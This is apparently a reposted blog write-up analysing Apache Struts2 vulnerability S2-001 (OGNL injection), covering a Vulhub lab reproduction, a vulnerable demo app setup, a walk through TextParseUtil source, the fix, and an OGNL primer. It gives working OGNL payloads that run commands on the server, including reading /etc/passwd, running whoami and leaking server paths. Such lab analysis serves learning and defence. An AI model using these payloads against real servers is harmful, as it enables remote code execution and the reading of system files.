Struts2 vulnerability S2-001 example analysis

王林
Release: 2023-05-15 15:58:14
forward
1236 people have browsed it

Vulhub vulnerability series: struts2 vulnerability S2-001

1. Vulnerability description:

struts2 vulnerability S2-001 is when the user submits form data and verification fails, the server uses the OGNL expression Parse the parameter value, %{value}, previously submitted by the user and repopulate the corresponding form data. For example, in a registration or login page. If the submission fails, the server will usually default to returning the previously submitted data. Since the server uses %{value} to perform OGNL expression parsing on the submitted data, the server can directly send the payload to execute the command.

2.vulhub vulnerability exploitation:

Using vulhub to reproduce vulnerabilities can save the environment construction process, which is very convenient.

vulhub official website address: https://vulhub.org

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

Start the vulnerability environment.

docker-compsoe up -d
Copy after login

Enter the test payload

%{1+1}
Copy after login

struts2漏洞 S2-001实例分析You can see that our addition expression is successfully executed.

struts2漏洞 S2-001实例分析

This time we try command execution, new java.lang.String[{"cat","/etc/passwd"} change us here The command you want to execute.

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
Copy after login

struts2漏洞 S2-001实例分析The passwd file was successfully read.

struts2漏洞 S2-001实例分析

The following are three usage statements:

##Get tomcat path##%{"tomcatBinDir{" @java.lang.System@getProperty("user.dir") "}"}
Get web path%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println( #req.getRealPath('/')),#response.flush(),#response.close()}
##Command execution##%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{ "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader( #c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter(). println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

3.搭建环境

平台:win10

工具:Apache Tomcat 9.0.7,IntelliJ IDEA

下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。

struts2漏洞 S2-001实例分析这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。

struts2漏洞 S2-001实例分析目录结构如下。

struts2漏洞 S2-001实例分析

需要如下几个包,下载地址:

http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。

struts2漏洞 S2-001实例分析

struts2漏洞 S2-001实例分析

接着发布我们导入的jar包,不然会报错。

struts2漏洞 S2-001实例分析

接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list>
</web-app>
Copy after login

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>S2-001</title>
</head>
<body>
<h3>S2-001 Demo</h3>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
</body>
</html>
Copy after login

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
Copy after login

LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}
Copy after login

src目录下新建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package>
</struts>
Copy after login

4.原理分析

漏洞部分代码

xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
    Object result = expression;

    while(true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;

        while(start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == &#39;{&#39;) {
                ++count;
            } else if (c == &#39;}&#39;) {
                --count;
            }
        }

        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }

        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }

            if (TextUtils.stringSet(right)) {
                result = result + right;
            }

            expression = left + o + right;
        } else {
            result = left + right;
            expression = left + right;
        }
    }
}
Copy after login

运行我们搭建好的环境,记得开启debug模式

struts2漏洞 S2-001实例分析password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)

struts2漏洞 S2-001实例分析

expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。struts2漏洞 S2-001实例分析在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}

struts2漏洞 S2-001实例分析然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。

struts2漏洞 S2-001实例分析

然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。

在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。

struts2漏洞 S2-001实例分析不是OGNL表达式时就会进入

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

5.漏洞修复

判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。

struts2漏洞 S2-001实例分析

也就不会对用户提交的参数进行ongl解析

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}
Copy after login

6.OGNL表达式

这里搬运大佬总结好的东西。

OGNL is the abbreviation of Object-Graph Navigation Language. It is a powerful expression language (Expression Language, referred to as EL). Through its simple and consistent expression syntax, you can access any properties of the object and call The method of the object traverses the structure diagram of the entire object and implements functions such as field type conversion. It uses the same expressions to access the object's properties. Three elements of OGNL: (The following part is excerpted from somewhere on the Internet, I think it is well said)

1. Expression

Expression is the core of the entire OGNL, and all OGNL operations are It is performed after parsing the expression. The expression will specify what this OGNL operation is going to do. We can see that in the above test, name, department.name, etc. are all expressions, indicating that the value of name or name in department is taken. OGNL supports many types of expressions, and we'll see more later.

2. Root Object

The root object can be understood as the operation object of OGNL. After the expression specifies "what to do", you also need to specify "to whom" it is to be done. In the above test code, user is the root object. This means that we need to get the value of the name attribute for the user object (and set the name attribute value in the department for the user object).

3. Context

With expressions and root objects, we can actually use the basic functions of OGNL. For example, get or set the value of the root object based on the expression. But in fact, within OGNL, all operations will run in a specific environment, which is the context of OGNL. To put it more clearly, it is this context that will specify "where to do" the operation of OGNL.
The context of OGN L is a Map structure called OgnlContext. The root object (Root
Object) we mentioned above will actually be added to the context environment, and this will be processed as a special variable, specifically for the root object (Root
Object) access operation expressions do not need to be distinguished by adding the # symbol.

Expression function operation list:
1. Access to the basic object tree
Access to the object tree is performed by concatenating object references using dots.
For example: xxxx, xxxx.xxxx, xxxx. xxxx.
For example: #xxxx, #xxxx. xxxx, #xxxx.xxxxx. xxxx. In addition to using operators such as -, *, /, , --, ==, !=, =, you can also use mod, in, not in, etc. 4. Containers, arrays, objects
OGNL supports sequential access to containers such as arrays and ArrayList: for example: group.users[0]
At the same time, OGNL supports key value search for Map:
For example: # session['mySessionPropKey']
Not only that, OGNL also supports expressions for container construction:
For example: {"green", "red", "blue"} constructs a List, #{"key1": "value1", "key2" : "value2", "key3" : "value3"}Construct a Map
You can also create a new object through the constructor of any class object
For example: new Java.net.URL ("xxxxxx/")5. Access to static methods or variables
To reference the static methods and fields of the class, their expressions are the same @class@member or @class@method(args): 6. Method The call
is performed directly through a Java-like method call. You can even pass parameters:
For example: user.getName(), group.users.size(), group.containsUser(#requestUser) 7. Projection and Selection
OGNL supports projection and selection similar to those in the database.
Projection is to select the same attributes of each element in ** to form a new **, which is similar to the field operation of a relational database. The projection operation syntax is collection.{XXX}, where XXX is the public attribute of each element in this **.
For example: group.userList.{username} will get a list of the names of all users in a group.
Selection is to filter ** elements that meet the selection conditions, similar to the record operation of a relational database. The syntax of the selection operation is: collection.{X YYY}, where X is a selection operator, followed by the logical expression for selection. There are three selection operators:
? Select all elements that satisfy the condition
^ Select the first element that satisfies the condition
$ Select the last element that satisfies the condition
For example: group.userList.{ ? #txxx.xxx != null} will obtain a list of users whose name is not empty in a certain group.

The above is the detailed content of Struts2 vulnerability S2-001 example analysis. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:yisu.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template